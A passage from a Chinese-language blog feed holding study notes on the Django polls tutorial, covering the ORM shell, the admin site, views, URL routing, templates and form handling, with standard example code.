class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> polls.models <span class="keyword">import</span> Question, Choice</span><br><span class="line"></span><br><span class="line"><span class="comment"># Make sure our __str__() addition worked.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Question.objects.<span class="built_in">all</span>()</span><br><span class="line">&lt;QuerySet [&lt;Question: What<span class="string">&#x27;s up?&gt;]&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># Django provides a rich database lookup API that&#x27;</span>s entirely driven by</span><br><span class="line"><span class="comment"># keyword arguments.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Question.objects.<span class="built_in">filter</span>(<span class="built_in">id</span>=<span class="number">1</span>)</span><br><span class="line">&lt;QuerySet [&lt;Question: What<span class="string">&#x27;s up?&gt;]&gt;</span></span><br><span class="line"><span class="string">&gt;&gt;&gt; Question.objects.filter(question_text__startswith=&#x27;</span>What<span class="string">&#x27;)</span></span><br><span class="line"><span class="string">&lt;QuerySet [&lt;Question: What&#x27;</span>s up?&gt;]&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Get the question that was published this year.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> django.utils <span class="keyword">import</span> timezone</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>current_year = timezone.now().year</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Question.objects.get(pub_date__year=current_year)</span><br><span class="line">&lt;Question: What<span class="string">&#x27;s up?&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># Request an ID that doesn&#x27;</span>t exist, this will <span class="keyword">raise</span> an exception.</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Question.objects.get(<span class="built_in">id</span>=<span class="number">2</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">    ...</span><br><span class="line">DoesNotExist: Question matching query does <span class="keyword">not</span> exist.</span><br><span class="line"></span><br><span class="line"><span class="comment"># Lookup by a primary key is the most common case, so Django provides a</span></span><br><span class="line"><span class="comment"># shortcut for primary-key exact lookups.</span></span><br><span class="line"><span class="comment"># The following is identical to Question.objects.get(id=1).</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Question.objects.get(pk=<span class="number">1</span>)</span><br><span class="line">&lt;Question: What<span class="string">&#x27;s up?&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># Make sure our custom method worked.</span></span><br><span class="line"><span class="string">&gt;&gt;&gt; q = Question.objects.get(pk=1)</span></span><br><span class="line"><span class="string">&gt;&gt;&gt; q.was_published_recently()</span></span><br><span class="line"><span class="string">True</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># Give the Question a couple of Choices. The create call constructs a new</span></span><br><span class="line"><span class="string"># Choice object, does the INSERT statement, adds the choice to the set</span></span><br><span class="line"><span class="string"># of available choices and returns the new Choice object. Django creates</span></span><br><span class="line"><span class="string"># a set to hold the &quot;other side&quot; of a ForeignKey relation</span></span><br><span class="line"><span class="string"># (e.g. a question&#x27;</span>s choice) which can be accessed via the API.</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>q = Question.objects.get(pk=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Display any choices from the related object set -- none so far.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>q.choice_set.<span class="built_in">all</span>()</span><br><span class="line">&lt;QuerySet []&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Create three choices.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>q.choice_set.create(choice_text=<span class="string">&#x27;Not much&#x27;</span>, votes=<span class="number">0</span>)</span><br><span class="line">&lt;Choice: Not much&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>q.choice_set.create(choice_text=<span class="string">&#x27;The sky&#x27;</span>, votes=<span class="number">0</span>)</span><br><span class="line">&lt;Choice: The sky&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>c = q.choice_set.create(choice_text=<span class="string">&#x27;Just hacking again&#x27;</span>, votes=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Choice objects have API access to their related Question objects.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>c.question</span><br><span class="line">&lt;Question: What<span class="string">&#x27;s up?&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># And vice versa: Question objects get access to Choice objects.</span></span><br><span class="line"><span class="string">&gt;&gt;&gt; q.choice_set.all()</span></span><br><span class="line"><span class="string">&lt;QuerySet [&lt;Choice: Not much&gt;, &lt;Choice: The sky&gt;, &lt;Choice: Just hacking again&gt;]&gt;</span></span><br><span class="line"><span class="string">&gt;&gt;&gt; q.choice_set.count()</span></span><br><span class="line"><span class="string">3</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># The API automatically follows relationships as far as you need.</span></span><br><span class="line"><span class="string"># Use double underscores to separate relationships.</span></span><br><span class="line"><span class="string"># This works as many levels deep as you want; there&#x27;</span>s no limit.</span><br><span class="line"><span class="comment"># Find all Choices for any question whose pub_date is in this year</span></span><br><span class="line"><span class="comment"># (reusing the &#x27;current_year&#x27; variable we created above).</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>Choice.objects.<span class="built_in">filter</span>(question__pub_date__year=current_year)</span><br><span class="line">&lt;QuerySet [&lt;Choice: Not much&gt;, &lt;Choice: The sky&gt;, &lt;Choice: Just hacking again&gt;]&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Let&#x27;s delete one of the choices. Use delete() for that.</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>c = q.choice_set.<span class="built_in">filter</span>(choice_text__startswith=<span class="string">&#x27;Just hacking&#x27;</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>c.delete()</span><br></pre></td></tr></table></figure><ul><li>在使用filter过滤数据的时候，可以通过使用filter中对参数的赋值实现查找，比如:id=1,也可以通过加上__startswith(对应字符串)或者__year(对于时间)变量实现部分查找。</li><li>如果企图查找不存在的键值的话，那么将会引发出错。</li><li>如果只是以primary key作为查找目标的话，那么pk缩写可以代表这个意思。</li><li>通过get获取Questoin对应的对象，可以对其关联的键值进行操作,通过调用外键_set.create即可创建外键对象。</li><li>外键对象也可以通过:本键名称 的方法获得本键的对象。同样的，本键名称__之后可以按照本键的使用方法使用</li><li>通过filter获得的对象可以调用delete方法将数据删除。</li></ul><hr><p>Django的管理员</p><p>Django会自动生成一个管理员页面，这个页面是由网站的的后台管理员使用。Django将页面拆分成了<strong>publisher</strong>和<strong>public</strong>两部分，分别给管理者和用户使用。</p><h3 id="创建后台管理员">创建后台管理员</h3><p>使用指令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py createsuperuser</span><br></pre></td></tr></table></figure><p>可以创建后台。<a href="http://xn--manage-hz8il46anx5a5thb56ao51dvouatlg.py">然后我们重新运行manage.py</a>,访问/admin/后便可登陆后台。这个页面的元素实在django.contrib.auth中所提供的。</p><h3 id="让管理员可以修改poll应用">让管理员可以修改poll应用</h3><p>注意到，poll 应用并未展示在这个页面上，因为我们还没有告知管理员我们有了Question对象。所以，我们需要打开polls/admin.py文件，并且进行一定的修改:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.contrib <span class="keyword">import</span> admin</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"></span><br><span class="line">admin.site.register(Question)</span><br></pre></td></tr></table></figure><p>然后我们就会找到这个叫做Question的app，这里会展示我们数据库中所有存在的问题，我们可以在这个页面对其进行修改。<br>注意：</p><ul><li>这个表格是由Question模型自动生成的</li><li>不同的模型字段会自动匹配到不同的html输入组件。每种组件都会在Django中合适的展示。</li><li>每个DateTimeFiled（日期组件）都会得到一个js的快捷方式。日期将得到一个叫做【Today】的快捷方式（快速的定位当前日期）和一个弹窗，而时间将会得到一个叫做【now】的快捷方式（快速的定位当前时间）和一个快速选择时间的弹窗。，</li></ul><h5 id="未完待续">（未完待续）</h5>]]></content>
    
    
    <summary type="html">&lt;p&gt;早有听说django的大名，加上我对这个hexo的自定义博客的页面有一点小小的不满意，所以打算好好学一下，没准还能换个样子&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
    <category term="django" scheme="https://showlinkroom.me/tags/django/"/>
    
  </entry>
  
  <entry>
    <title>Django-begin-02</title>
    <link href="https://showlinkroom.me/2017/06/20/Django-begin02/"/>
    <id>https://showlinkroom.me/2017/06/20/Django-begin02/</id>
    <published>2017-06-20T09:13:09.000Z</published>
    <updated>2020-07-16T13:31:30.380Z</updated>
    
    <content type="html"><![CDATA[<p>上一篇我们成功完成了模型(models),那么接下来我们来学习一下界面(views)的相关内容：</p><h2 id="more"><span id="more"></span></h2><p>view是什么</p><p>在Django中，view通常是一个特殊的函数并且有特殊的模板。这个函数能够帮助我们更好的实现界面的功能。</p><hr><p>更多的views<br>我们往polls/views.py中添加如下的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">detail</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    <span class="keyword">return</span> HttpResponse(<span class="string">&quot;You&#x27;re looking at question %s.&quot;</span> % question_id)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">results</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    response = <span class="string">&quot;You&#x27;re looking at the results of question %s.&quot;</span></span><br><span class="line">    <span class="keyword">return</span> HttpResponse(response % question_id)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">vote</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    <span class="keyword">return</span> HttpResponse(<span class="string">&quot;You&#x27;re voting on question %s.&quot;</span> % question_id)</span><br></pre></td></tr></table></figure><p>添加了上述代码后，为了能够让url能够正确的解析，我们在<strong>polls/urls.py</strong>中增加更多的额外代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.conf.urls <span class="keyword">import</span> url</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> . <span class="keyword">import</span> views</span><br><span class="line"></span><br><span class="line">urlpatterns = [</span><br><span class="line">    <span class="comment"># ex: /polls/</span></span><br><span class="line">    url(<span class="string">r&#x27;^$&#x27;</span>, views.index, name=<span class="string">&#x27;index&#x27;</span>),</span><br><span class="line">    <span class="comment"># ex: /polls/5/</span></span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/$&#x27;</span>, views.detail, name=<span class="string">&#x27;detail&#x27;</span>),</span><br><span class="line">    <span class="comment"># ex: /polls/5/results/</span></span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/results/$&#x27;</span>, views.results, name=<span class="string">&#x27;results&#x27;</span>),</span><br><span class="line">    <span class="comment"># ex: /polls/5/vote/</span></span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/vote/$&#x27;</span>, views.vote, name=<span class="string">&#x27;vote&#x27;</span>),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>这里的正则表达式用了【捕获】的概念，就是**匹配括号中的表达式，同时将内容写在名称为question_id的组里面。(在re模块中，可以通过groupdict查询dict和对应的名字)。</p><hr><p>写一个能够处理事件的views<br>每一个view都能处理以下两件事中的一个:</p><ul><li>回复一个HttpResponse</li><li>返回一个Http404<br>我们的view可以读取models中的数据，可以使用临时系统（比如Django，或者别的第三方的系统），产生一个PDF，输出一个XML，随手创建一个ZIP文件等等。</li></ul><p>这里我们使用上一篇教程中创建的数据库:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> HttpResponse</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line">    latest_question_list = Question.objects.order_by(<span class="string">&#x27;-pub_date&#x27;</span>)[:<span class="number">5</span>]</span><br><span class="line">    output = <span class="string">&#x27;, &#x27;</span>.join([q.question_text <span class="keyword">for</span> q <span class="keyword">in</span> latest_question_list])</span><br><span class="line">    <span class="keyword">return</span> HttpResponse(output)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Leave the rest of the views (detail, results, vote) unchanged</span></span><br></pre></td></tr></table></figure><p>这里的order_by是指&quot;按照pub_date的顺序进行排序（虽然不知道是什么顺序就是了）&quot;<br>为了让我们的页面更加美观，我们这里使用Django的模板来进行一些设计:<br>首先，在polls文件夹内创建一个叫做templates的文件夹，Django会在这个文件夹中搜索模板。</p><p>TEMPLATES描述了django将会如何独具和渲染模板。默认的DjangoTemplates后台文件中将APP_DIRS设置为真。依照惯例，DjangoTepmates将会寻找每一个INSTALLED_APPS中出现文件的tamplates。</p><p>在我们创建的templates目录下创建一个叫做polls的文件夹，里面创建一个index.html.我们要让我们的templats的目录变为polls/tempaltes/polls/index.html，因为这个app_directories是如上面提到的那样来读取的，我们可以简单的将目录命名为polls/index.html</p><p>然后我们修改polls.views.py中的代码，让template能够被读取并且渲染:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> HttpResponse</span><br><span class="line"><span class="keyword">from</span> django.template <span class="keyword">import</span> loader</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line">    latest_question_list = Question.objects.order_by(<span class="string">&#x27;-pub_date&#x27;</span>)[:<span class="number">5</span>]</span><br><span class="line">    template = loader.get_template(<span class="string">&#x27;polls/index.html&#x27;</span>)</span><br><span class="line">    context = &#123;</span><br><span class="line">        <span class="string">&#x27;latest_question_list&#x27;</span>: latest_question_list,</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> HttpResponse(template.render(context, request))</span><br></pre></td></tr></table></figure><p>这里将我们写好的index.html读取进来，并且设置了context的上下文，然后将这个渲染的结果作为HttpRespose的结果。</p><p>捷径：render函数:<br>非常常用的函数，会返回一个渲染过的httpresponse的对象。所以我们可以修改我们的views中的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.shortcuts <span class="keyword">import</span> render</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line">    latest_question_list = Question.objects.order_by(<span class="string">&#x27;-pub_date&#x27;</span>)[:<span class="number">5</span>]</span><br><span class="line">    context = &#123;<span class="string">&#x27;latest_question_list&#x27;</span>: latest_question_list&#125;</span><br><span class="line">    <span class="keyword">return</span> render(request, <span class="string">&#x27;polls/index.html&#x27;</span>, context)</span><br></pre></td></tr></table></figure><p>render将会将请求数据，渲染的template位置和相应的context作为参数传入，然后对数据进行渲染。</p><p>提出404错误<br>我们接下来完善一下details页面:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> Http404</span><br><span class="line"><span class="keyword">from</span> django.shortcuts <span class="keyword">import</span> render</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">detail</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        question = Question.objects.get(pk=question_id)</span><br><span class="line">    <span class="keyword">except</span> Question.DoesNotExist:</span><br><span class="line">        <span class="keyword">raise</span> Http404(<span class="string">&quot;Question does not exist&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> render(request, <span class="string">&#x27;polls/detail.html&#x27;</span>, &#123;<span class="string">&#x27;question&#x27;</span>: question&#125;)</span><br></pre></td></tr></table></figure><p>捷径: get_object_or_404()<br>这个函数能够让我们快速的提取models中的对象内容，若不存在的话就会立刻报错。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.shortcuts <span class="keyword">import</span> get_object_or_404, render</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">detail</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    question = get_object_or_404(Question, pk=question_id)</span><br><span class="line">    <span class="keyword">return</span> render(request, <span class="string">&#x27;polls/detail.html&#x27;</span>, &#123;<span class="string">&#x27;question&#x27;</span>: question&#125;)</span><br></pre></td></tr></table></figure><p>这个get_object_or_404函数接受需要提取内容的对象以及对应所需要的参数。</p><p>为了解耦处理，这些异常一定要及时处理。</p><p>使用template系统：<br>此时我们需要完善我们的detail页面，所以这里我们将要将每一个Question的数据进行展示:<br>这里给出要求：</p><h3 id="主标题">主标题</h3><h3 id="列出每一个投票的内容">列出每一个投票的内容。</h3><p>这里留意，每一个投票的内容都是可以使用question.关联数据项_all来获取一整个可迭代对象。</p><h3 id="将写死的url移除">将写死的url移除</h3><p>注意，当我们在index.html页面中写一个链接的时候，我们最好不要写死一个url，不然的话耦合程度太高就不能替换成其他的templates。由于我们在polls.urls里面已经定义过，我们就能可以更改当前的url</p><pre><code>&lt;a href=&quot;\&#123;\% url 'detail' question.id \%\&#125;&quot;&gt;  </code></pre><p>通过这个写法，回去polls.urls模块中的URL定义中查找对应模块的定义:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/$&#x27;</span>, views.detail, name=<span class="string">&#x27;detail&#x27;</span>),</span><br></pre></td></tr></table></figure><p>这里name='detail’将url模块命名，同时在配置的时候会叫question_id提取出来，然后加载url的后面。如果我们想要改变模板中的地址，我们还可以这么改：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># added the word &#x27;specifics&#x27;</span></span><br><span class="line">url(<span class="string">r&#x27;^specifics/(?P&lt;question_id&gt;[0-9]+)/$&#x27;</span>, views.detail, name=<span class="string">&#x27;detail&#x27;</span>),</span><br></pre></td></tr></table></figure><h3 id="命名空间">命名空间</h3><p>Django可以兼容多个apps。比如，poslls app有一个details 模块，可能在同一个项目中的另一个app也有。那么Django是如何分辨究竟是那个app将要使用url template 标签呢？<br>为了能够使用，我们需要在urls.py的开头加上一个URLConf的标签，加上的标签能够设置这个程序的命名空间:<br>app_name = ‘polls’</p><h3 id="写一个简单的表单">写一个简单的表单</h3><p>首先修改一下details.html的内容，增加一个表单。</p><ul><li>每一个radio 按钮都和choice’ID 关联。每一个radio 按钮的名字都是choice。也就是说，post请求中会包含一个choice=ID的请求。</li><li>这个action的值我们设置为url ‘polls:vote’ <a href="http://question.id">question.id</a>，方法设置为post，就是说会将数据传输给服务器端。当需要将一个表单的数据传输给服务器端的时候，就需要使用post方法。</li><li>forloop.counter是一个变量，表示当前的循环的下标是啥。</li><li>小心csrf(跨域请求攻击)，不过Django自己实现了一个防御机制。只需要加上csrf_token即可。</li></ul><p>我们在之前已经实现了urls的配置:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/vote/$&#x27;</span>, views.vote, name=<span class="string">&#x27;vote&#x27;</span>)</span><br></pre></td></tr></table></figure><p>接下来让我们修改一下vote函数，让其能够实现后台操作:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.shortcuts <span class="keyword">import</span> get_object_or_404, render</span><br><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> HttpResponseRedirect, HttpResponse</span><br><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> reverse</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Choice, Question</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">vote</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    question = get_object_or_404(Question, pk=question_id)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        selected_choice = question.choice_set.get(pk=request.POST[<span class="string">&#x27;choice&#x27;</span>])</span><br><span class="line">    <span class="keyword">except</span> (KeyError, Choice.DoesNotExist):</span><br><span class="line">        <span class="comment"># Redisplay the question voting form.</span></span><br><span class="line">        <span class="keyword">return</span> render(request, <span class="string">&#x27;polls/detail.html&#x27;</span>, &#123;</span><br><span class="line">            <span class="string">&#x27;question&#x27;</span>: question,</span><br><span class="line">            <span class="string">&#x27;error_message&#x27;</span>: <span class="string">&quot;You didn&#x27;t select a choice.&quot;</span>,</span><br><span class="line">        &#125;)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        selected_choice.votes += <span class="number">1</span></span><br><span class="line">        selected_choice.save()</span><br><span class="line">        <span class="comment"># Always return an HttpResponseRedirect after successfully dealing</span></span><br><span class="line">        <span class="comment"># with POST data. This prevents data from being posted twice if a</span></span><br><span class="line">        <span class="comment"># user hits the Back button.</span></span><br><span class="line">        <span class="keyword">return</span> HttpResponseRedirect(reverse(<span class="string">&#x27;polls:results&#x27;</span>, args=(question.<span class="built_in">id</span>,)))</span><br></pre></td></tr></table></figure><ul><li>requst.POST 是一个类似字典的对象，可以让我们获取我们之前请求的数据，request.POST[‘choice’]将会返回我们选中的id的字符串类型。<br>注意到这个方法还会提供 request.GET 方法，从而获得相应数据。但是为了防止恶意请求（？），我们还是只使用post方法接受以保证我们只会接受到post请求</li><li>如果 choice 没有在post请求中提供，request.POST[‘choice’]将会抛出KeyError的错误，所以我们要提前考虑这个情况，遇到这种情况应该即使的反馈重新绘制的画面。</li><li>注意到我们在最后使用的是HttpResponseRedirecth对象，而不是直接HttpResponse,为的是防止用户直接使用后退键将页面返回造成的反复提交的问题。注意所有的post返回都应该真么处理。</li><li>我们在最后使用了reverse函数（不是python自带的那个），这个函数将会帮助我们避免写死url，这里给出了我们想要传输的view的名称和指向当前view的URL 模式。<br>这个reverse的意思是指【将命名域和子域名颠倒】，然后将polls放在域名匹配的前面，然后子域名放在后面（好像没什么问题。。）在这个情况下，我们使用之前提出的</li></ul> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/results/$&#x27;</span>, views.results, name=<span class="string">&#x27;result&#x27;</span>)</span><br></pre></td></tr></table></figure><p>经过解析之后就会变成/polls/3/results,注意到这个3的位置正好是我们解析得到的位置。<br>最后这个重定向后的url就会让results views展示最后的页面</p><h2 id="reverse-的迷惑">reverse 的迷惑</h2><p>reverse其实是一个【动态加载url】的的函数，还记得我们在url中对url进行了命名:<br>url(&quot;^index/$&quot;, name = “index”)<br>这个index就是这个url的名字(name)，然后reverse 的含义其实是<br>reverse(“作用域:url名字”)<br>reverse会尝试从我们的apps中查找所有有可能的url，以上述为例子，假如我们的apps域为:<br>app_name = “test”<br>那么为了匹配上述的url，我们的reverse可以这么写:<br>reverse(“test:index”)<br>此时就会将匹配完成的url，也就是url所对应的localhost/index/所获取。</p><p>所以接下来让我们来完善一下这个results.html页面；<br>提示：<br>页面上得有每一个choice的【内容】和【票数】</p><h2 id="使用更少的代码">使用更少的代码</h2><p>由于我们上述提到的功能都很简单，我们此时应该使用一些&quot;generic views&quot;系统来快速的配置这些页面。</p><p>首先是urls.py的配置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.conf.urls <span class="keyword">import</span> url</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> . <span class="keyword">import</span> views</span><br><span class="line"></span><br><span class="line">app_name = <span class="string">&#x27;polls&#x27;</span></span><br><span class="line">urlpatterns = [</span><br><span class="line">    url(<span class="string">r&#x27;^$&#x27;</span>, views.IndexView.as_view(), name=<span class="string">&#x27;index&#x27;</span>),</span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;pk&gt;[0-9]+)/$&#x27;</span>, views.DetailView.as_view(), name=<span class="string">&#x27;detail&#x27;</span>),</span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;pk&gt;[0-9]+)/results/$&#x27;</span>, views.ResultsView.as_view(), name=<span class="string">&#x27;results&#x27;</span>),</span><br><span class="line">    url(<span class="string">r&#x27;^(?P&lt;question_id&gt;[0-9]+)/vote/$&#x27;</span>, views.vote, name=<span class="string">&#x27;vote&#x27;</span>),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>然后是相关的view.py中的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 